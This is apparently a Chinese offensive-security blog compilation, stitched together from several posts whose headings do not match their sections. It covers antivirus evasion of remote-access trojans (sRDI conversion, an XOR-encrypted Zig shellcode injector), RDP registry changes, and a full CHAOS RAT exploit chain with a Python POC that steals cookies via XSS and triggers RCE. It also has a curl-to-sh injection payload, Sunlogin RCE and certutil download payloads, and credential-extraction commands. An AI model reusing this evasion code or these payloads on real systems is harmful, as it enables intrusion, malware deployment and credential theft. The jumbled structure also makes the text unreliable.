远程桌面登录绕过

> **免杀两个注意点**
> **静态免杀：加密，编码，分离，远程加载**
> **动态免杀    CS插件Sleepmask，内存里面的加解密，使用冷门WINAPI，奇奇怪怪的函数逃避hook(钩子)**

1. **首先第一个静态，Zig 远程加载 ，转32位**

**动态使用内存加解密sgn：相当于给shellcode套了壳，然将整个shellcode加密，再在壳外面加了个解密，这个行为都封装在shellcode里面，二进制程序里面。**
- **静态-->静态加解密-->hook**
**相关项目：**
[https://github.com/monoxgas/sRDI](https://github.com/monoxgas/sRDI)
突然从工具里面翻出来一个远古远控，产生了免杀的想法。
![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/949b6df35f488818b27133d7898faf0e.png)
生成文件有exe和dll格式。分别可以对应两个项目进行shellcode化
Donut:[https://github.com/TheWover/donut](https://github.com/TheWover/donut)  
Srdi:[https://github.com/monoxgas/sRDI](https://github.com/monoxgas/sRDI)  

这里选择srdi，选择多文件生成dll文件
![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/e328e7c3a9322f0e9989292cb5790c1e.png)
```bash
位置参数：
input_dll 要转换为shellcode的DLL
可选参数：
-h, --help 显示帮助信息并退出
-v, --version 显示程序版本号并退出
-f FUNCTION_NAME, --function-name FUNCTION_NAME
在DllMain之后要调用的函数
-u USER_DATA, --user-data USER_DATA
要传递给目标函数的数据
-c, --clear-header 在加载时清除PE头部信息
-b, --pass-shellcode-base
将shellcode基地址传递给导出函数
-i, --obfuscate-imports
随机化导入依赖项加载顺序
-d IMPORT_DELAY，--import-delay IMPORT_DELAY
加载导入项之间暂停秒数
of OUTPUT_FORMAT，--output-format OUTPUT_FORMAT
shellcode 的输出格式（例如原始、字符串）
```
使用IDA pro导入dll，查看出口函数名-->fuckyou
![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/91e8796d6b1d86a7cdc48fc3aea02a2c.png)
`python ConvertToShellcode.py -f fuckyou -i -c datelog.dll`生成shellcode![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/2ba464aa4ec951159f4d731457bf30db.png)
用python写一个多字节异或加密
![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/be67b152af627626f29d351b5c1b68f8.png)
嵌入到稀罕语言zig制作的shellcodeloader里
```bash
const std = @import("std");
const win = std.os.windows;
const kernel32 = win.kernel32;

pub const arch = std.Target.Cpu.Arch.i386;
// Define types
const STARTUPINFOW = win.STARTUPINFOW;
const PROCESS_INFORMATION = win.PROCESS_INFORMATION;
const CREATE_SUSPENDED = 0x00000004;
const WINAPI = win.WINAPI;
const FALSE = win.FALSE;
const TRUE = win.TRUE;
const HANDLE = win.HANDLE;
const DWORD = win.DWORD;
const BOOL = win.BOOL;
const SIZE_T = win.SIZE_T;
const LPVOID = win.LPVOID;
const LPCVOID = win.LPCVOID;
const SECURITY_ATTRIBUTES = win.SECURITY_ATTRIBUTES;
const LPDWORD = *DWORD;
const LPPROC_THREAD_ATTRIBUTE_LIST = *anyopaque;
const LPSECURITY_ATTRIBUTES = *anyopaque;
const LPTHREAD_START_ROUTINE = win.LPTHREAD_START_ROUTINE;
const PROCESS_ALL_ACCESS = 0x000F0000 | (0x00100000) | 0xFFFF;



extern "kernel32" fn OpenProcess(dwDesiredAccess: u32, bInheritHandle: u32, dwProcessId: u32) callconv(WINAPI) u32;
extern "kernel32" fn VirtualAllocEx(hProcess: u32, lpAddress: u32, dwSize: u32, flAllocationType: u32, flProtect: u32) callconv(WINAPI) u32;
extern "kernel32" fn WriteProcessMemory(hProcess: u32, lpBaseAddress: u32, lpBuffer: [*]const u8, nSize: u32, lpNumberOfBytesWritten: ?*u32) callconv(WINAPI) u32;
extern "kernel32" fn CreateThread(lpThreadAttributes: ?*anyopaque, dwStackSize: u32, lpStartAddress: u32, lpParameter: ?*anyopaque, dwCreationFlags: u32, lpThreadId: ?*u32) callconv(WINAPI) u32;
extern "kernel32" fn WaitForSingleObject(hHandle: u32, dwMilliseconds: u32) callconv(WINAPI) u32;

pub fn wWinMain(_: win.HINSTANCE, _: ?win.HINSTANCE, _: win.PWSTR, _: c_int) callconv(win.WINAPI) c_int {
    var shellcodeX64 = [_]u8{};
    Injection(shellcodeX64[0..]);
    return 0;
}



fn Injection(shellcode: []u8) void {
    const pHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, kernel32.GetCurrentProcessId());
    const rPtr = VirtualAllocEx(pHandle, 0, shellcode.len, win.MEM_COMMIT, win.PAGE_EXECUTE_READWRITE);
    const key = [_]u8{ 0x08, 0x3f, 0x4b, 0x80, 0x94, 0x7b, 0xaf, 0x69, 0xea, 0x00, 0xe2, 0x41 };
    xorEncrypt(shellcode[0..], key[0..]);

    var bytesWritten: u32 = undefined;
    _ = WriteProcessMemory(pHandle, rPtr, shellcode.ptr, shellcode.len, &bytesWritten);

    const tHandle = CreateThread(null, 0, rPtr, null, 0, null);
    _ = WaitForSingleObject(tHandle, win.INFINITE);
}

fn xorEncrypt(data: []u8, key: []const u8) void {
    var j: usize = 0;
    for (data) |*value| {
        if (j == key.len) j = 0;
        value.* ^= key[j];
        j += 1;
    }
}

```
丢沙箱看看，还是不太理想，内存被标记烂了。过个defender和卡巴斯基还是可以的
![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/8c0744f2a5fe7ff63e8cc95c7c293e46.png)
![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/d130c2df086e44d8e8f0cdfb679996dc.png)


记一次大灰狼木马免杀

# 法一

#根据进程查看端口号
tasklist /svc | findStr "Ter"
#根据进程PID，查看远程桌面使用的端口
netstat -ano | findStr "536"

![](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/4125d907d933a896e547a206d8dd0cad.png)

# 法二

# 查询系统是否允许3389远程连接   1表示关闭,0表示开启
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

# 查看远程连接的端口： 端口格式为16进制
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

# 关闭3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f

# 开启3389端口：
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

#服务器08、2012
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

![](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/3238c83164fefafc148307ec12216f5e.png)

0xd3d转为十进制就是3389

# 登录3389报错

![](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/806596fd78b7a648c3ee5f26bd023f5b.png)

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f


查找远程桌面端口

# Github列表
远程管理工具RAT是Remote Access Trojan的缩写。RAT软件可用于远程管理和技术支持等。但有时候它也是一种恶意软件，可以在未经授权情况下远程控制计算机系统。RAT用于远程管理或者技术支持给我们在项目维护或者协作提供了很多方便。但由于其用途的广泛，就像菜刀，用在厨房就是切菜，但落到坏人手里可能就是作恶工具。。
## 1. Quasar
[Quasar](https://github.com/quasar/Quasar) 是一个用C#编写的快速、轻量级的远程管理工具。从日常管理工作到员工日常监控都支持使用。Quasar提供了高稳定性和易用性的用户界面，是完美的远程管理解决方案。
## 2. Stitch
[Stitch](https://github.com/nathanlopez/Stitch) 是一个Python远程管理工具（RAT），用于在Windows、Mac OSX或Linux系统上构建自定义payloads。可以支持选择payload是否绑定到特定的IP和端口，以侦听端口上的连接；还可以设置是否在目标系统启动时，向你发送系统信息邮件，以及是否开启键盘记录。
## 3. AndroRAT
[AndroRAT](https://github.com/karma9874/AndroRAT) 是一个用于远程控制的Android系统，并从它检索信息。AndroRAT包含一个客户端和服务器端，客户端采用Java Android开发和服务端基于Python开发。
## 4. CHAOS-不推荐
**存在CVE-2024-30850反制过程如下**
### 反制
CHAOS RAT是由Golang开发的一款带有web面板的开源c2，主要用来挖矿，简单复现分析一下该RAT存在的rce漏洞
#### 环境搭建
项目地址：[https://github.com/tiagorlampert/CHAOS](https://github.com/tiagorlampert/CHAOS)
解压，docker运行
```
# Create a shared directory between the host and container
$ mkdir ~/chaos-container

$ docker run -it -v ~/chaos-container:/database/ -v ~/chaos-container:/temp/ \
-e PORT=8080 -e SQLITE_DATABASE=chaos -p 8080:8080 tiagorlampert/chaos:latest
```
![](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/a26945348cffe1b17bc520135a3f0b11.png)
#### 代码分析
##### 命令注入
首先在BuildClient 函数找到了一处命令注入
```
func (c clientService) BuildClient(input BuildClientBinaryInput) (string, error) {
    if !isValidIPAddress(input.ServerAddress) && !isValidURL(input.ServerAddress) {
        return "", internal.ErrInvalidServerAddress
    }
    if !isValidPort(input.ServerPort) {
        return "", internal.ErrInvalidServerPort
    }

    filename, err := utils.NormalizeString(input.Filename)
    if err != nil {
        return "", err
    }

    newToken, err := c.GenerateNewToken()
    if err != nil {
        return "", err
    }

    const buildStr = `GO_ENABLED=1 GOOS=%s GOARCH=amd64 go build -ldflags '%s -s -w -X main.Version=%s -X main.Port=%s -X main.ServerAddress=%s -X main.Token=%s -extldflags "-static"' -o ../temp/%s main.go`

    filename = buildFilename(input.OSTarget, filename)
    buildCmd := fmt.Sprintf(buildStr, handleOSType(input.OSTarget), runHidden(input.RunHidden), c.AppVersion, input.ServerPort, input.ServerAddress, newToken, filename)

    cmd := exec.Command("sh", "-c", buildCmd)
    cmd.Dir = "client/"

    outputErr, err := cmd.CombinedOutput()
    if err != nil {
        return "", fmt.Errorf("%w:%s", err, outputErr)
    }
    return filename, nil
}
```
本地验证命令注入，通过反引号成功实现命令注入
![](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/21e2abe20b91500470cff69cd53e8781.png)
该函数在 generateBinaryPostHandler 中被调用
```
func (h *httpController) generateBinaryPostHandler(c *gin.Context) {
    var req request.GenerateClientRequestForm
    if err := c.ShouldBindWith(&req, binding.Form); err != nil {
        c.String(http.StatusBadRequest, err.Error())
        return
    }
    osTarget, err := strconv.Atoi(req.OSTarget)
    if err != nil {
        c.String(http.StatusBadRequest, err.Error())
        return
    }

    binary, err := h.ClientService.BuildClient(client.BuildClientBinaryInput{
        ServerAddress: req.Address,
        ServerPort:    req.Port,
        OSTarget:      system.OSTargetIntMap[osTarget],
        Filename:      req.Filename,
        RunHidden:     utils.ParseCheckboxBoolean(req.RunHidden),
    })
    if err != nil {
        h.Logger.Error(err)
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
    c.String(http.StatusOK, binary)
    return
}
```
而该handler对应的后台路由为 /generate
adminGroup.POST("/generate", handler.generateBinaryPostHandler)
通过访问该路由，推测该函数用于生成client被控端，输入的参数例如RunHidden、ServerAddress、ServerPort等
![](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/3205d7d995bad8a42bfde7abbb32335c.png)
抓包查看所需参数，只有 address、port、os_target、filename、run_hidden五个参数可控
```
POST /generate HTTP/1.1
Host: 192.168.76.128:8080
Cookie: XDEBUG_SESSION=PHPSTORM; jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MTI4MzAxODgsIm9yaWdfaWF0IjoxNzEyODI2NTg4LCJ1c2VyIjoiYWRtaW4ifQ.qaYqzrnAypBZ5dVkRk5LR4GX3U_10dnZxVK6IAwXyfc
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8RrfJ8oE1HE3x45z
Referer: http://192.168.76.128:8080/generate
Origin: http://192.168.76.128:8080
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 537

------WebKitFormBoundary8RrfJ8oE1HE3x45z
Content-Disposition: form-data; name="address"

172.17.0.2
------WebKitFormBoundary8RrfJ8oE1HE3x45z
Content-Disposition: form-data; name="port"

8080
------WebKitFormBoundary8RrfJ8oE1HE3x45z
Content-Disposition: form-data; name="os_target"

1
------WebKitFormBoundary8RrfJ8oE1HE3x45z
Content-Disposition: form-data; name="filename"


------WebKitFormBoundary8RrfJ8oE1HE3x45z
Content-Disposition: form-data; name="run_hidden"

false
------WebKitFormBoundary8RrfJ8oE1HE3x45z--
```
但是每个参数都有一定的检查，经过审计后，只有address存在利用可能
```
if !isValidIPAddress(input.ServerAddress) && !isValidURL(input.ServerAddress) {
    return "", internal.ErrInvalidServerAddress
}

if !isValidPort(input.ServerPort) {
 return "", internal.ErrInvalidServerPort
}

filename, err := utils.NormalizeString(input.Filename)
if err != nil {
 return "", err
}
```
针对isValidURL的绕过依旧利用反引号
```
http://example.com/'`touch /tmp/pwn`'
or
http://example.com'$(IFS=];b=curl]192.168.1.6:80/loader.sh;$b|sh)'
```
![](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/80274fac83e62b445f7181d110cc9e41.png)
#### agent分析
生成的agent，主要有三个信息，serveraddress，serverport，token。前两个不用说，token用于agent的身份认证，这些信息都以string形式存放在agent的编译信息中
![](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/8779784d51cdf1eadb8845068d6b61a9.png)
上线流程为：

1. 以http携带jwt为cookie字段，不断访问server的 /health 用于检测是否可达 和 /device 用于发送agent主机信息，server端将收到的信息保存，访问 /devices 用于查看所有的上线agent
2. 以websocket与server的 /client 建立连接，等待指令

结合以上信息，通过提取agent的三个信息，可以伪造agent上线，并且可以控制向server的信息回传
##### XSS
能造成xss的无非两个地方，主机信息 与 命令回传
在命令回传处，直接输出，造成xss
![](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/3d2be8f3a31637a560b6037efc7e4fd9.png)
伪造上线
![](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/85c74c269a9f04c5ee3bd723fa2d8396.png)
输入命令，xss
![](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/8209dd9ea4337acef09d2d9e5ac8d7b7.png)
#### 漏洞组合
伪造上线->xss->csrf->server端rce 或 伪造上线->xss->cookie登录->server端rce
##### POC
```
import time
import requests
import threading
import json
import websocket
import argparse
import sys
import re

from functools import partial
from http.server import BaseHTTPRequestHandler, HTTPServer


class Collector(BaseHTTPRequestHandler):
    def __init__(self, ip, port, target, *args, **kwargs):
        self.ip = ip
        self.port = port
        self.target = target
        super().__init__(*args, **kwargs)

    def do_GET(self):
        print(self.path)
        cookie = self.path.split("=")[1]
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"")

        print(f"[+]Exploiting {self.target} with JWT {cookie}")
        headers = {
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
            'Content-Type': 'multipart/form-data; boundary=---------------------------196428912119225031262745068932',
            'Cookie': f'jwt={cookie}'
        }
        requests.post(url=f"http://{self.target}/generate",data=f'-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="address"\r\n\r\nhttp://example.com/\'`touch /tmp/pwn`\'\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="port"\r\n\r\n8080\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="os_target"\r\n\r\n1\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="filename"\r\n\r\n\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="run_hidden"\r\n\r\nfalse\r\n-----------------------------196428912119225031262745068932--\r\n',headers=headers,verify=False)


def convert_to_int_array(string):
    int_array = []
    for char in string:
        int_array.append(ord(char))
    return int_array

def extract_client_info(path):
    with open(path, 'rb') as f:
        data = str(f.read())

    address_regexp = r"main\.ServerAddress=(?:[0-9]{1,3}\.){3}[0-9]{1,3}"
    address_pattern = re.compile(address_regexp)
    address = address_pattern.findall(data)[0].split("=")[1]

    port_regexp = r"main\.Port=\d{1,6}"
    port_pattern = re.compile(port_regexp)
    port = port_pattern.findall(data)[0].split("=")[1]

    jwt_regexp = r"main\.Token=[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*"
    jwt_pattern = re.compile(jwt_regexp)
    jwt = jwt_pattern.findall(data)[0].split("=")[1]

    return f"{address}:{port}", jwt

def keep_connection(target, cookie, hostname, username, os_name, mac, ip):
    headers = {
            "Cookie": f"jwt={cookie}"
    }
    while True:
        data = {"hostname": hostname, "username":username,"user_id": username,"os_name": os_name, "os_arch":"amd64", "mac_address": mac, "local_ip_address": ip, "port":"8000", "fetched_unix":int(time.time())}
        requests.get(f"http://{target}/health", headers=headers)
        requests.post(f"http://{target}/device", headers=headers, json=data)
        time.sleep(30)

def handle_command(target, cookie, mac, ip, port):
    headers = {
        "Cookie": f"jwt={cookie}",
        "X-Client": mac
    }
    ws = websocket.WebSocket()
    ws.connect(f'ws://{target}/client', header=headers)
    while True:
        ws.recv()
        data = {"client_id": mac, "response": convert_to_int_array(f"<script>var i = new Image;i.src='http://{ip}:{port}/'+document.cookie;</script>"), "has_error": False}

        ws.send_binary(json.dumps(data))


def run(ip, port, target):
    server_address = (ip, int(port))

    collector = partial(Collector, ip, port, target)
    httpd = HTTPServer(server_address, collector)
    print(f'Server running on port {ip}:{port}')
    httpd.serve_forever()

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    subparsers = parser.add_subparsers(dest="option")

    exploit = subparsers.add_parser("exploit")
    exploit.add_argument("-f", "--file",  help="The path to the CHAOS client")
    exploit.add_argument("-l", "--local_ip", help="The local IP to use for serving bash script and mp4", required=True)
    args = parser.parse_args()

    if args.option == "exploit":
        target, jwt = extract_client_info(args.file)

        bg = threading.Thread(target=keep_connection, args=(target, jwt, "DC01", "Administrator", "Windows", "3f:72:58:91:56:56", "10.0.17.12"))
        bg.start()

        cmd = threading.Thread(target=handle_command, args=(target, jwt, "3f:72:58:91:56:56", args.local_ip, 8000))
        cmd.start()

        server = threading.Thread(target=run, args=(args.local_ip, 8000, target))
        server.start()

    else:
        parser.print_help(sys.stderr)
        sys.exit(1)
```
![](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/c0e932ee5927903f74995dd83db73785.png)
## 5. TacticalRMM
[Tactical RMM](https://github.com/amidaware/tacticalrmm) 是一个基于Web的远程监控管理工具，基于Django和Vue开发。它的主要功能特征包括：

- 类似TeamViewer的远程桌面控制
- 实时远程shell
- 远程文件浏览器（下载和上传文件）
- 远程命令和脚本执行（批处理、powershell和python脚本）
- 事件日志查看器
- 服务管理
- Windows补丁程序管理
- 通过电子邮件/短信警报自动检查（CPU、磁盘、内存、服务、脚本、事件日志）
- 自动任务运行器（按计划运行脚本）
- 通过chocolatey远程安装软件
- 软件和硬件清单
## 6. Spark
[Spark](https://github.com/XZB-1248/Spark) 是一款免费、安全、开源、自托管、功能齐全、基于Web的跨平台远程管理工具，Spark支持通过浏览器随时随地控制你想控制的设备。
## 7. DRat
[DRat](https://github.com/SpenserCai/DRat) 是一个去中心化远程控制工具，可以实现在没有服务端和配置文件服务器的情况下实现远程控制和配置下发。支持windows、Linux。主要功能特性包括：

- 无需服务端：通过电报实现的远程控制，只需要在Group中发送指令，即可实现远程控制。
- 自带代理：由于电报(Telegram)的特性，需要使用代理才能访问，DRat内置了代理，可以直接使用。
- ENS配置下发：基于去中心化的ENS，可以实现配置文件的下发。
# 免杀思路
## 1.转为Shellcode
通过生成的exe文件

- [pe2sh](https://github.com/hasherezade/pe_to_shellcode)
- [donut](https://github.com/TheWover/donut)

根据PE类型，选择使用pe2sh或donut转为shellcode
下面以Spark为例，使用PE2SHC
![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/9e7a4105ecc336f547cd3990abb11571.png)

## 2.通过免杀加载器加载
既然已经有shellcode了，免杀的方法就多了。
随便找个不错的加载器如
[GitHub - aeverj/NimShellCodeLoader: 免杀，bypassav，免杀框架，nim，shellcode，使用nim编写的shellcode加载器](https://github.com/aeverj/NimShellCodeLoader)
，也可以在此之前使用sgn自行加密混淆一次。
[GitHub - EgeBalci/sgn: Shikata ga nai (仕方がない) encoder ported into go with several improvements](https://github.com/EgeBalci/sgn)
> - **Sgn介绍**
> 
SGN编码器一开始被认为是最好的Shellcode编码器，（直到现在其实也是）。作者的github地址是EgeBalci/sgn：https://github.com/EgeBalci/sgn。很有意思的一点是，作者直接在github上发起一项挑战，作者认为认为任何基于规则的静态检测机制都不能检测到用SGN编码的二进制文件，如果有人能编写一个可以检测每个编码输出的 YARA 规则，作者愿意拿出奖金来。


![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/fc76864f0ed60639d67c77a0dcba0473.png)
这里使用直接加载(也可以尝试其他加载方式，不过不保证每一个加载方式都能成功上线，需要自行测试)
再使用SharpThief随便套个资源
![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/cd75166749f49e15ede89ddaf7a8de61.png)
过过360、火绒、defendr还是轻松的。如果不免杀了，静态方面可以使用sgn或者直接采用分离加载。动态方面可以二开加载去自实现内存移动函数，规避杀软的API 调用**。**
![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/1105a0d88ed1df7005ffb17754af3c7f.png)
成功上线

![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/8a53bd3c43702c65948cd2bc13e8f2a5.png)

# 总结
由于这些开源RAT使用的人不多，转为shellcode后的特征并没有被国内外厂商标记的太死，所以加一个小众语言加载器或是利用加密编码、分离这些过静态的方式就可以直接免杀。
说到最后最好的免杀方式就是自研C2。



RAT免杀

##### POC
漏洞利用是老生常谈，具体是两个POC包
```http
GET /cgi-bin/rpc?action=verify-haras HTTP/1.1
Host: 220.134.x.240:49671
```
```abap
GET /check?cmd=nslookup/..\cmd+/c+{{urlescape(whoami)}} HTTP/1.1
Host:220.1x4.41.2x0:4x71
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:52.0) Gecko/20100101 Firefox/52.0
Cookie: CID=jSXJKepFSUSg7aSYsXiJJ6vAfVngkSMM
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```
##### Payload:
```abap
/check?cmd=ping/..\cmd+/c+whoami
/check?cmd=nslookup/..\cmd+/c+whoami
certutil.exe -url""""cache -split -f http:/xxx/download/xxe.ext C:\Windows\Temp\A.exe
```
##### 可能遇到的两个失败场景:

- failed,error 5：表示命令执行失败，其实就是杀软拦了

![](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/76167ea10268b8fa095a08278fdc70f1.png)

- failed,error 2：表示命令不存在

![](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/510ed6e1e79502a3690f7ceb3ad07555.png)
除开给出的Payload之外，如果杀软环境较强，可以利用C:/Windows/System32/或C:/Windows/SysWOW64/目录中的exe文件来进行信息收集

##### 读密码
[GitHub - wafinfo/Sunflower_get_Password: 一款针对向日葵的识别码和验证码提取工具](https://github.com/wafinfo/Sunflower_get_Password)
老版本配置文件路径：
也可以通过该命令全局搜索`dir /S /B C:\ | findstr /i "AweSun"`
```bash
C:\"Program Files (x86)"\Aweray\AweSun\config.ini
C:\"Program Files"\Aweray\AweSun\config.ini

```
![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/c4dcdedbae579b9121af6671dff5f65e.png)
解密
![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/c7689b609197a646a3ff7d4beace168e.png)
当前Awesun最新版本可以直接通过注册表读取到账号密码
```bash
reg query HKEY_USERS\.DEFAULT\Software\AweSun\SunLogin\SunloginClient\SunloginInfo
#URL编码
reg+query+HKEY_USERS%5C.DEFAULT%5CSoftware%5CAweSun%5CSunLogin%5CSunloginClient%5CSunloginInfo
```
![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/0105b6fec87f272957b27b58fbd4ae75.png)


远程桌面登录绕过（不常见）

法一

Github列表

POC